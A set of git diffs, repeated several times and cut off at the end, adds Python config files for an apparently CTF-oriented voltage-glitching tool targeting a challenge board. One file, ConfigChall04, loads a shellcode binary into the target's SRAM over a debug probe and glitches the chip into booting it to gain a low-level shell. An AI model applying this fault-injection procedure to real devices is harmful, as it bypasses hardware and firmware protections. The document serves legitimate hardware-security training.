diff --git a/ConfigBaudBrute.py b/ConfigBaudBrute.py
new file mode 100644
index 0000000..470cd34
--- /dev/null
+++ b/ConfigBaudBrute.py
@@ -0,0 +1,58 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+
+######
+# config values (you can edit these to fit your environment and use case)
+######
+
+# Serial port settings
+SERIAL_PORT = "/dev/ttyUSB0"
+BAUD_RATE = 9600
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+    ["Next", False, "", "uart_up"],
+    ["Prev", False, "", "uart_down"],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+baud_rates = [300, 1200, 2400, 4800, 9600, 14400, 19200, 28800, 38400, 57600, 115200, 128000, 256000]
+
+
+def uart_up():
+    current_baud = functions.get_config_value("baud_rate")
+    # Find the index of the current baud rate
+    try:
+        index = baud_rates.index(current_baud)
+    except ValueError:
+        # If current baud rate is not in the list, start from the lowest
+        index = -1
+    
+    # Get the next higher baud rate (wrapping around if at the end)
+    new_index = (index + 1) % len(baud_rates)
+    new_baud = baud_rates[new_index]
+    functions.change_baudrate(new_baud)
+    functions.add_text(f"\n[Rate Up] {new_baud}")
+
+def uart_down():
+    current_baud = functions.get_config_value("baud_rate")
+    # Find the index of the current baud rate
+    try:
+        index = baud_rates.index(current_baud)
+    except ValueError:
+        # If current baud rate is not in the list, start from the highest
+        index = len(baud_rates)
+    
+    # Get the next lower baud rate (wrapping around if at the start)
+    new_index = (index - 1) % len(baud_rates)
+    new_baud = baud_rates[new_index]
+    functions.change_baudrate(new_baud)
+    functions.add_text(f"\n[Rate Down] {new_baud}")
\ No newline at end of file

diff --git a/ConfigBaudBrute.py b/ConfigBaudBrute.py
new file mode 100644
index 0000000..470cd34
--- /dev/null
+++ b/ConfigBaudBrute.py
@@ -0,0 +1,58 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+
+######
+# config values (you can edit these to fit your environment and use case)
+######
+
+# Serial port settings
+SERIAL_PORT = "/dev/ttyUSB0"
+BAUD_RATE = 9600
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+    ["Next", False, "", "uart_up"],
+    ["Prev", False, "", "uart_down"],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+baud_rates = [300, 1200, 2400, 4800, 9600, 14400, 19200, 28800, 38400, 57600, 115200, 128000, 256000]
+
+
+def uart_up():
+    current_baud = functions.get_config_value("baud_rate")
+    # Find the index of the current baud rate
+    try:
+        index = baud_rates.index(current_baud)
+    except ValueError:
+        # If current baud rate is not in the list, start from the lowest
+        index = -1
+    
+    # Get the next higher baud rate (wrapping around if at the end)
+    new_index = (index + 1) % len(baud_rates)
+    new_baud = baud_rates[new_index]
+    functions.change_baudrate(new_baud)
+    functions.add_text(f"\n[Rate Up] {new_baud}")
+
+def uart_down():
+    current_baud = functions.get_config_value("baud_rate")
+    # Find the index of the current baud rate
+    try:
+        index = baud_rates.index(current_baud)
+    except ValueError:
+        # If current baud rate is not in the list, start from the highest
+        index = len(baud_rates)
+    
+    # Get the next lower baud rate (wrapping around if at the start)
+    new_index = (index - 1) % len(baud_rates)
+    new_baud = baud_rates[new_index]
+    functions.change_baudrate(new_baud)
+    functions.add_text(f"\n[Rate Down] {new_baud}")
\ No newline at end of file
diff --git a/ConfigChall02.py b/ConfigChall02.py
new file mode 100644
index 0000000..e14c32b
--- /dev/null
+++ b/ConfigChall02.py
@@ -0,0 +1,52 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 115200
+
+LENGTH = 42
+REPEAT = 1
+DELAY = 0
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ['-', False],  #0
+    ['-', False],  #1
+    ['-', False],  #2
+    ['-', False],  #3
+    ['-', False],  #4
+    ['-', False],  #5
+    ['-', False],  #6
+    ['-', False],  #7
+]
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+    ["Flag", True,  "ctf", "stop_glitching"],
+    ["Chal2", True, "Hold one of", "start_chal_02"] # requires bolt output gpio pin 0 -> challenge board chall 2 button
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def stop_glitching():
+	elapsed = functions.get_glitch_elapsed()
+	functions.glitching_switch(False)
+	functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")    
+
+def start_chal_02():
+    functions.run_output_high(0, 30000000) ## can also run_output_low() if need too
\ No newline at end of file

diff --git a/ConfigBaudBrute.py b/ConfigBaudBrute.py
new file mode 100644
index 0000000..470cd34
--- /dev/null
+++ b/ConfigBaudBrute.py
@@ -0,0 +1,58 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+
+######
+# config values (you can edit these to fit your environment and use case)
+######
+
+# Serial port settings
+SERIAL_PORT = "/dev/ttyUSB0"
+BAUD_RATE = 9600
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+    ["Next", False, "", "uart_up"],
+    ["Prev", False, "", "uart_down"],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+baud_rates = [300, 1200, 2400, 4800, 9600, 14400, 19200, 28800, 38400, 57600, 115200, 128000, 256000]
+
+
+def uart_up():
+    current_baud = functions.get_config_value("baud_rate")
+    # Find the index of the current baud rate
+    try:
+        index = baud_rates.index(current_baud)
+    except ValueError:
+        # If current baud rate is not in the list, start from the lowest
+        index = -1
+    
+    # Get the next higher baud rate (wrapping around if at the end)
+    new_index = (index + 1) % len(baud_rates)
+    new_baud = baud_rates[new_index]
+    functions.change_baudrate(new_baud)
+    functions.add_text(f"\n[Rate Up] {new_baud}")
+
+def uart_down():
+    current_baud = functions.get_config_value("baud_rate")
+    # Find the index of the current baud rate
+    try:
+        index = baud_rates.index(current_baud)
+    except ValueError:
+        # If current baud rate is not in the list, start from the highest
+        index = len(baud_rates)
+    
+    # Get the next lower baud rate (wrapping around if at the start)
+    new_index = (index - 1) % len(baud_rates)
+    new_baud = baud_rates[new_index]
+    functions.change_baudrate(new_baud)
+    functions.add_text(f"\n[Rate Down] {new_baud}")
\ No newline at end of file
diff --git a/ConfigChall02.py b/ConfigChall02.py
new file mode 100644
index 0000000..e14c32b
--- /dev/null
+++ b/ConfigChall02.py
@@ -0,0 +1,52 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 115200
+
+LENGTH = 42
+REPEAT = 1
+DELAY = 0
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ['-', False],  #0
+    ['-', False],  #1
+    ['-', False],  #2
+    ['-', False],  #3
+    ['-', False],  #4
+    ['-', False],  #5
+    ['-', False],  #6
+    ['-', False],  #7
+]
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+    ["Flag", True,  "ctf", "stop_glitching"],
+    ["Chal2", True, "Hold one of", "start_chal_02"] # requires bolt output gpio pin 0 -> challenge board chall 2 button
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def stop_glitching():
+	elapsed = functions.get_glitch_elapsed()
+	functions.glitching_switch(False)
+	functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")    
+
+def start_chal_02():
+    functions.run_output_high(0, 30000000) ## can also run_output_low() if need too
\ No newline at end of file
diff --git a/ConfigChall03.py b/ConfigChall03.py
new file mode 100644
index 0000000..211ac51
--- /dev/null
+++ b/ConfigChall03.py
@@ -0,0 +1,47 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 115200
+
+LENGTH = 6000
+REPEAT = 0
+DELAY = 1098144
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ['-', False],  #0
+    ['v', True],  #1
+    ['-', False],  #2
+    ['-', False],  #3
+    ['-', False],  #4
+    ['-', False],  #5
+    ['-', False],  #6
+    ['-', False],  #7
+]
+
+###
+# name, enabled, string to match
+###
+conditions = [
+    ['Flag', True, 'ctf', 'stop_glitching'],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def stop_glitching():
+        elapsed = functions.get_glitch_elapsed()
+        functions.glitching_switch(False)
+        functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})") 

diff --git a/ConfigBaudBrute.py b/ConfigBaudBrute.py
new file mode 100644
index 0000000..470cd34
--- /dev/null
+++ b/ConfigBaudBrute.py
@@ -0,0 +1,58 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+
+######
+# config values (you can edit these to fit your environment and use case)
+######
+
+# Serial port settings
+SERIAL_PORT = "/dev/ttyUSB0"
+BAUD_RATE = 9600
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+    ["Next", False, "", "uart_up"],
+    ["Prev", False, "", "uart_down"],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+baud_rates = [300, 1200, 2400, 4800, 9600, 14400, 19200, 28800, 38400, 57600, 115200, 128000, 256000]
+
+
+def uart_up():
+    current_baud = functions.get_config_value("baud_rate")
+    # Find the index of the current baud rate
+    try:
+        index = baud_rates.index(current_baud)
+    except ValueError:
+        # If current baud rate is not in the list, start from the lowest
+        index = -1
+    
+    # Get the next higher baud rate (wrapping around if at the end)
+    new_index = (index + 1) % len(baud_rates)
+    new_baud = baud_rates[new_index]
+    functions.change_baudrate(new_baud)
+    functions.add_text(f"\n[Rate Up] {new_baud}")
+
+def uart_down():
+    current_baud = functions.get_config_value("baud_rate")
+    # Find the index of the current baud rate
+    try:
+        index = baud_rates.index(current_baud)
+    except ValueError:
+        # If current baud rate is not in the list, start from the highest
+        index = len(baud_rates)
+    
+    # Get the next lower baud rate (wrapping around if at the start)
+    new_index = (index - 1) % len(baud_rates)
+    new_baud = baud_rates[new_index]
+    functions.change_baudrate(new_baud)
+    functions.add_text(f"\n[Rate Down] {new_baud}")
\ No newline at end of file
diff --git a/ConfigChall02.py b/ConfigChall02.py
new file mode 100644
index 0000000..e14c32b
--- /dev/null
+++ b/ConfigChall02.py
@@ -0,0 +1,52 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 115200
+
+LENGTH = 42
+REPEAT = 1
+DELAY = 0
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ['-', False],  #0
+    ['-', False],  #1
+    ['-', False],  #2
+    ['-', False],  #3
+    ['-', False],  #4
+    ['-', False],  #5
+    ['-', False],  #6
+    ['-', False],  #7
+]
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+    ["Flag", True,  "ctf", "stop_glitching"],
+    ["Chal2", True, "Hold one of", "start_chal_02"] # requires bolt output gpio pin 0 -> challenge board chall 2 button
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def stop_glitching():
+	elapsed = functions.get_glitch_elapsed()
+	functions.glitching_switch(False)
+	functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")    
+
+def start_chal_02():
+    functions.run_output_high(0, 30000000) ## can also run_output_low() if need too
\ No newline at end of file
diff --git a/ConfigChall03.py b/ConfigChall03.py
new file mode 100644
index 0000000..211ac51
--- /dev/null
+++ b/ConfigChall03.py
@@ -0,0 +1,47 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 115200
+
+LENGTH = 6000
+REPEAT = 0
+DELAY = 1098144
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ['-', False],  #0
+    ['v', True],  #1
+    ['-', False],  #2
+    ['-', False],  #3
+    ['-', False],  #4
+    ['-', False],  #5
+    ['-', False],  #6
+    ['-', False],  #7
+]
+
+###
+# name, enabled, string to match
+###
+conditions = [
+    ['Flag', True, 'ctf', 'stop_glitching'],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def stop_glitching():
+        elapsed = functions.get_glitch_elapsed()
+        functions.glitching_switch(False)
+        functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})") 
diff --git a/ConfigChall04.py b/ConfigChall04.py
new file mode 100644
index 0000000..a9bfecd
--- /dev/null
+++ b/ConfigChall04.py
@@ -0,0 +1,92 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import time
+import functions
+
+from pyocd.core.helpers import ConnectHelper
+from pyocd.flash.file_programmer import FileProgrammer
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 115200
+
+LENGTH = 50
+REPEAT = 1
+DELAY = 1
+
+###
+# name, enabled, string to match
+###
+conditions = [
+    ['Start', False, '', 'start_chall_04'],
+    ['Step1', False, '', 'step_1'],
+    ['Step2', False, '', 'step_2'],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def start_chall_04():
+    functions.add_text(f"[Chall 4] enable uart switch then hold chall 4 button to load the challenge into memory.")
+    functions.add_text(f"[Chall 4] once loaded hold 'boot 1' button and press 'reset' button to put in bootloader mode") 
+    functions.add_text(f"[Chall 4] then press 'Step1'")
+
+def step_1():
+    functions.set_uart_switch(False)
+
+    functions.add_text(f"\n[Chall 4] uploading firmware to ram... please wait")
+
+    # Connect to the target board
+    session = ConnectHelper.session_with_chosen_probe()
+    session.open()
+
+    # Optionally halt the target
+    target = session.target
+    target.halt()
+
+    # Load binary file to specified address (e.g., 0x20000000)
+    newFirmware = "/tmp/f103-analysis/h3/rootshell/shellcode-0xRoM.bin"
+    programmer = FileProgrammer(session)
+    programmer.program(newFirmware, base_address=0x20000000, file_format='bin')
+
+    # Optionally resume execution
+    target.resume()
+    # Clean up
+    session.close()
+
+    with open(newFirmware, "rb") as f:
+        original_data = f.read()
+
+    # Connect to the target
+    session = ConnectHelper.session_with_chosen_probe()
+    session.open()
+
+    target = session.target
+    target.halt()
+
+    # Read back the memory from the target
+    read_data = target.read_memory_block8(0x20000000, len(original_data))
+
+    # Compare
+    if bytes(read_data) == original_data:
+         functions.add_text(f"[+] Shellcode loaded successfully.")
+    else:
+         functions.add_text(f"[!] Mismatch detected. Shellcode may not have loaded correctly.")
+
+    session.close()
+
+    functions.change_baudrate(9600)
+    functions.add_text(f"[Chall 4] hold buttons 'boot0' and 'boot1' and press the 'glitch' button")
+    functions.add_text(f"[Chall 4] this single glitch will boot from SRAM")
+    functions.add_text(f"[Chall 4] enable UART to access 'Low-level Shell' (might need to press reset)")
+    functions.add_text(f"[Chall 4] then press 'Step2'")
+    
+def step_2():
+    functions.send_uart_message("p") 
+    time.sleep(1)
+    functions.change_baudrate(115200)

diff --git a/ConfigBaudBrute.py b/ConfigBaudBrute.py
new file mode 100644
index 0000000..470cd34
--- /dev/null
+++ b/ConfigBaudBrute.py
@@ -0,0 +1,58 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+
+######
+# config values (you can edit these to fit your environment and use case)
+######
+
+# Serial port settings
+SERIAL_PORT = "/dev/ttyUSB0"
+BAUD_RATE = 9600
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+    ["Next", False, "", "uart_up"],
+    ["Prev", False, "", "uart_down"],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+baud_rates = [300, 1200, 2400, 4800, 9600, 14400, 19200, 28800, 38400, 57600, 115200, 128000, 256000]
+
+
+def uart_up():
+    current_baud = functions.get_config_value("baud_rate")
+    # Find the index of the current baud rate
+    try:
+        index = baud_rates.index(current_baud)
+    except ValueError:
+        # If current baud rate is not in the list, start from the lowest
+        index = -1
+    
+    # Get the next higher baud rate (wrapping around if at the end)
+    new_index = (index + 1) % len(baud_rates)
+    new_baud = baud_rates[new_index]
+    functions.change_baudrate(new_baud)
+    functions.add_text(f"\n[Rate Up] {new_baud}")
+
+def uart_down():
+    current_baud = functions.get_config_value("baud_rate")
+    # Find the index of the current baud rate
+    try:
+        index = baud_rates.index(current_baud)
+    except ValueError:
+        # If current baud rate is not in the list, start from the highest
+        index = len(baud_rates)
+    
+    # Get the next lower baud rate (wrapping around if at the start)
+    new_index = (index - 1) % len(baud_rates)
+    new_baud = baud_rates[new_index]
+    functions.change_baudrate(new_baud)
+    functions.add_text(f"\n[Rate Down] {new_baud}")
\ No newline at end of file
diff --git a/ConfigChall02.py b/ConfigChall02.py
new file mode 100644
index 0000000..e14c32b
--- /dev/null
+++ b/ConfigChall02.py
@@ -0,0 +1,52 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 115200
+
+LENGTH = 42
+REPEAT = 1
+DELAY = 0
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ['-', False],  #0
+    ['-', False],  #1
+    ['-', False],  #2
+    ['-', False],  #3
+    ['-', False],  #4
+    ['-', False],  #5
+    ['-', False],  #6
+    ['-', False],  #7
+]
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+    ["Flag", True,  "ctf", "stop_glitching"],
+    ["Chal2", True, "Hold one of", "start_chal_02"] # requires bolt output gpio pin 0 -> challenge board chall 2 button
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def stop_glitching():
+	elapsed = functions.get_glitch_elapsed()
+	functions.glitching_switch(False)
+	functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")    
+
+def start_chal_02():
+    functions.run_output_high(0, 30000000) ## can also run_output_low() if need too
\ No newline at end of file
diff --git a/ConfigChall03.py b/ConfigChall03.py
new file mode 100644
index 0000000..211ac51
--- /dev/null
+++ b/ConfigChall03.py
@@ -0,0 +1,47 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 115200
+
+LENGTH = 6000
+REPEAT = 0
+DELAY = 1098144
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ['-', False],  #0
+    ['v', True],  #1
+    ['-', False],  #2
+    ['-', False],  #3
+    ['-', False],  #4
+    ['-', False],  #5
+    ['-', False],  #6
+    ['-', False],  #7
+]
+
+###
+# name, enabled, string to match
+###
+conditions = [
+    ['Flag', True, 'ctf', 'stop_glitching'],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def stop_glitching():
+        elapsed = functions.get_glitch_elapsed()
+        functions.glitching_switch(False)
+        functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})") 
diff --git a/ConfigChall04.py b/ConfigChall04.py
new file mode 100644
index 0000000..a9bfecd
--- /dev/null
+++ b/ConfigChall04.py
@@ -0,0 +1,92 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import time
+import functions
+
+from pyocd.core.helpers import ConnectHelper
+from pyocd.flash.file_programmer import FileProgrammer
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 115200
+
+LENGTH = 50
+REPEAT = 1
+DELAY = 1
+
+###
+# name, enabled, string to match
+###
+conditions = [
+    ['Start', False, '', 'start_chall_04'],
+    ['Step1', False, '', 'step_1'],
+    ['Step2', False, '', 'step_2'],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def start_chall_04():
+    functions.add_text(f"[Chall 4] enable uart switch then hold chall 4 button to load the challenge into memory.")
+    functions.add_text(f"[Chall 4] once loaded hold 'boot 1' button and press 'reset' button to put in bootloader mode") 
+    functions.add_text(f"[Chall 4] then press 'Step1'")
+
+def step_1():
+    functions.set_uart_switch(False)
+
+    functions.add_text(f"\n[Chall 4] uploading firmware to ram... please wait")
+
+    # Connect to the target board
+    session = ConnectHelper.session_with_chosen_probe()
+    session.open()
+
+    # Optionally halt the target
+    target = session.target
+    target.halt()
+
+    # Load binary file to specified address (e.g., 0x20000000)
+    newFirmware = "/tmp/f103-analysis/h3/rootshell/shellcode-0xRoM.bin"
+    programmer = FileProgrammer(session)
+    programmer.program(newFirmware, base_address=0x20000000, file_format='bin')
+
+    # Optionally resume execution
+    target.resume()
+    # Clean up
+    session.close()
+
+    with open(newFirmware, "rb") as f:
+        original_data = f.read()
+
+    # Connect to the target
+    session = ConnectHelper.session_with_chosen_probe()
+    session.open()
+
+    target = session.target
+    target.halt()
+
+    # Read back the memory from the target
+    read_data = target.read_memory_block8(0x20000000, len(original_data))
+
+    # Compare
+    if bytes(read_data) == original_data:
+         functions.add_text(f"[+] Shellcode loaded successfully.")
+    else:
+         functions.add_text(f"[!] Mismatch detected. Shellcode may not have loaded correctly.")
+
+    session.close()
+
+    functions.change_baudrate(9600)
+    functions.add_text(f"[Chall 4] hold buttons 'boot0' and 'boot1' and press the 'glitch' button")
+    functions.add_text(f"[Chall 4] this single glitch will boot from SRAM")
+    functions.add_text(f"[Chall 4] enable UART to access 'Low-level Shell' (might need to press reset)")
+    functions.add_text(f"[Chall 4] then press 'Step2'")
+    
+def step_2():
+    functions.send_uart_message("p") 
+    time.sleep(1)
+    functions.change_baudrate(115200)
diff --git a/ConfigDemoAll.py b/ConfigDemoAll.py
new file mode 100644
index 0000000..ab4325e
--- /dev/null
+++ b/ConfigDemoAll.py
@@ -0,0 +1,108 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values (you can edit these to fit your environment and use case)
+######
+
+# Serial port settings
+SERIAL_PORT = "/dev/ttyUSB0"
+BAUD_RATE = 115200
+
+LENGTH = 10
+REPEAT = 5
+DELAY = 100
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ["^", True],  #0
+    ["-", False], #1
+    ["v", True],  #2
+    ["-", False], #3
+    ["-", False], #4
+    ["-", False], #5
+    ["-", False], #6
+    ["-", False], #7
+]
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+	["No01", False, "WillNeverMatch01", ""],
+	["No02", False, "WillNeverMatch02", ""],
+    ["Heigh", False, "", "get_scroll_height"],
+    ["AllTg", False, "", "toggle_all"],
+    ["Trigr", False, "", "change_all_triggers"],
+    ["Value", False, "", "random_values"],
+    ['9600', False, '', 'change_baud_9600'],
+    ['11520', False, '', 'change_baud_115200'],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def get_scroll_height():
+    if functions.app_instance:
+        text_widget = functions.app_instance.query_one(".scrollable_log", Log)  # Find the scrollable text area
+        height = text_widget.scrollable_content_region.height  # Get its height
+                # Ensure the text is a string and append it to the Log widget
+        random_number = random.randint(1, 100)
+        new_text = f"[CONDITION] Scrollable height: {height} and Random Number: {random_number}"
+        functions.add_text(new_text)
+        functions.log_message(new_text)  # Log the value
+    else:
+        functions.log_message("App instance not set!")  # Debugging in case it's called too early
+
+def toggle_all():
+	TriggersStatus = functions.get_trigger_value(0)
+	if TriggersStatus is True:
+		for i in range(8):
+			functions.set_trigger_value(i, False)
+		for i in range( len(conditions) ):
+			functions.set_condition_value(i, False)	
+	else:
+		for i in range(8):
+			functions.set_trigger_value(i, True)
+		for i in range( len(conditions) ):
+			functions.set_condition_value(i, True)	
+
+def change_all_triggers():
+	for i in range(8):
+		current_symbol = functions.get_trigger_string(i)
+		cycle = ["^", "v", "-"]
+		next_symbol = cycle[(cycle.index(current_symbol) + 1) % len(cycle)]
+		functions.set_trigger_string(i, next_symbol)
+
+def random_values():
+	functions.glitching_switch(False)
+
+	OrigLen = functions.get_config_value("length")
+	OrigRep = functions.get_config_value("repeat")
+	OrigDel = functions.get_config_value("delay")
+
+	NewLen = random.randint(1, 100)
+	NewRep = random.randint(1, 100)
+	NewDel = random.randint(1, 100)
+
+	functions.set_config_value("length", NewLen)
+	functions.set_config_value("repeat", NewRep)
+	functions.set_config_value("delay", NewDel)
+
+	functions.add_text(f"[UPDATED] length ({OrigLen} -> {NewLen}), repeat ({OrigRep} -> {NewRep}), delay ({OrigDel} -> {NewDel})")
+
+def change_baud_9600():
+    functions.change_baudrate(9600)
+    functions.set_uart_switch()
+
+def change_baud_115200():
+    functions.change_baudrate(115200)
+    functions.set_uart_switch(False)
\ No newline at end of file

diff --git a/ConfigBaudBrute.py b/ConfigBaudBrute.py
new file mode 100644
index 0000000..470cd34
--- /dev/null
+++ b/ConfigBaudBrute.py
@@ -0,0 +1,58 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+
+######
+# config values (you can edit these to fit your environment and use case)
+######
+
+# Serial port settings
+SERIAL_PORT = "/dev/ttyUSB0"
+BAUD_RATE = 9600
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+    ["Next", False, "", "uart_up"],
+    ["Prev", False, "", "uart_down"],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+baud_rates = [300, 1200, 2400, 4800, 9600, 14400, 19200, 28800, 38400, 57600, 115200, 128000, 256000]
+
+
+def uart_up():
+    current_baud = functions.get_config_value("baud_rate")
+    # Find the index of the current baud rate
+    try:
+        index = baud_rates.index(current_baud)
+    except ValueError:
+        # If current baud rate is not in the list, start from the lowest
+        index = -1
+    
+    # Get the next higher baud rate (wrapping around if at the end)
+    new_index = (index + 1) % len(baud_rates)
+    new_baud = baud_rates[new_index]
+    functions.change_baudrate(new_baud)
+    functions.add_text(f"\n[Rate Up] {new_baud}")
+
+def uart_down():
+    current_baud = functions.get_config_value("baud_rate")
+    # Find the index of the current baud rate
+    try:
+        index = baud_rates.index(current_baud)
+    except ValueError:
+        # If current baud rate is not in the list, start from the highest
+        index = len(baud_rates)
+    
+    # Get the next lower baud rate (wrapping around if at the start)
+    new_index = (index - 1) % len(baud_rates)
+    new_baud = baud_rates[new_index]
+    functions.change_baudrate(new_baud)
+    functions.add_text(f"\n[Rate Down] {new_baud}")
\ No newline at end of file
diff --git a/ConfigChall02.py b/ConfigChall02.py
new file mode 100644
index 0000000..e14c32b
--- /dev/null
+++ b/ConfigChall02.py
@@ -0,0 +1,52 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 115200
+
+LENGTH = 42
+REPEAT = 1
+DELAY = 0
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ['-', False],  #0
+    ['-', False],  #1
+    ['-', False],  #2
+    ['-', False],  #3
+    ['-', False],  #4
+    ['-', False],  #5
+    ['-', False],  #6
+    ['-', False],  #7
+]
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+    ["Flag", True,  "ctf", "stop_glitching"],
+    ["Chal2", True, "Hold one of", "start_chal_02"] # requires bolt output gpio pin 0 -> challenge board chall 2 button
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def stop_glitching():
+	elapsed = functions.get_glitch_elapsed()
+	functions.glitching_switch(False)
+	functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")    
+
+def start_chal_02():
+    functions.run_output_high(0, 30000000) ## can also run_output_low() if need too
\ No newline at end of file
diff --git a/ConfigChall03.py b/ConfigChall03.py
new file mode 100644
index 0000000..211ac51
--- /dev/null
+++ b/ConfigChall03.py
@@ -0,0 +1,47 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 115200
+
+LENGTH = 6000
+REPEAT = 0
+DELAY = 1098144
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ['-', False],  #0
+    ['v', True],  #1
+    ['-', False],  #2
+    ['-', False],  #3
+    ['-', False],  #4
+    ['-', False],  #5
+    ['-', False],  #6
+    ['-', False],  #7
+]
+
+###
+# name, enabled, string to match
+###
+conditions = [
+    ['Flag', True, 'ctf', 'stop_glitching'],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def stop_glitching():
+        elapsed = functions.get_glitch_elapsed()
+        functions.glitching_switch(False)
+        functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})") 
diff --git a/ConfigChall04.py b/ConfigChall04.py
new file mode 100644
index 0000000..a9bfecd
--- /dev/null
+++ b/ConfigChall04.py
@@ -0,0 +1,92 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import time
+import functions
+
+from pyocd.core.helpers import ConnectHelper
+from pyocd.flash.file_programmer import FileProgrammer
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 115200
+
+LENGTH = 50
+REPEAT = 1
+DELAY = 1
+
+###
+# name, enabled, string to match
+###
+conditions = [
+    ['Start', False, '', 'start_chall_04'],
+    ['Step1', False, '', 'step_1'],
+    ['Step2', False, '', 'step_2'],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def start_chall_04():
+    functions.add_text(f"[Chall 4] enable uart switch then hold chall 4 button to load the challenge into memory.")
+    functions.add_text(f"[Chall 4] once loaded hold 'boot 1' button and press 'reset' button to put in bootloader mode") 
+    functions.add_text(f"[Chall 4] then press 'Step1'")
+
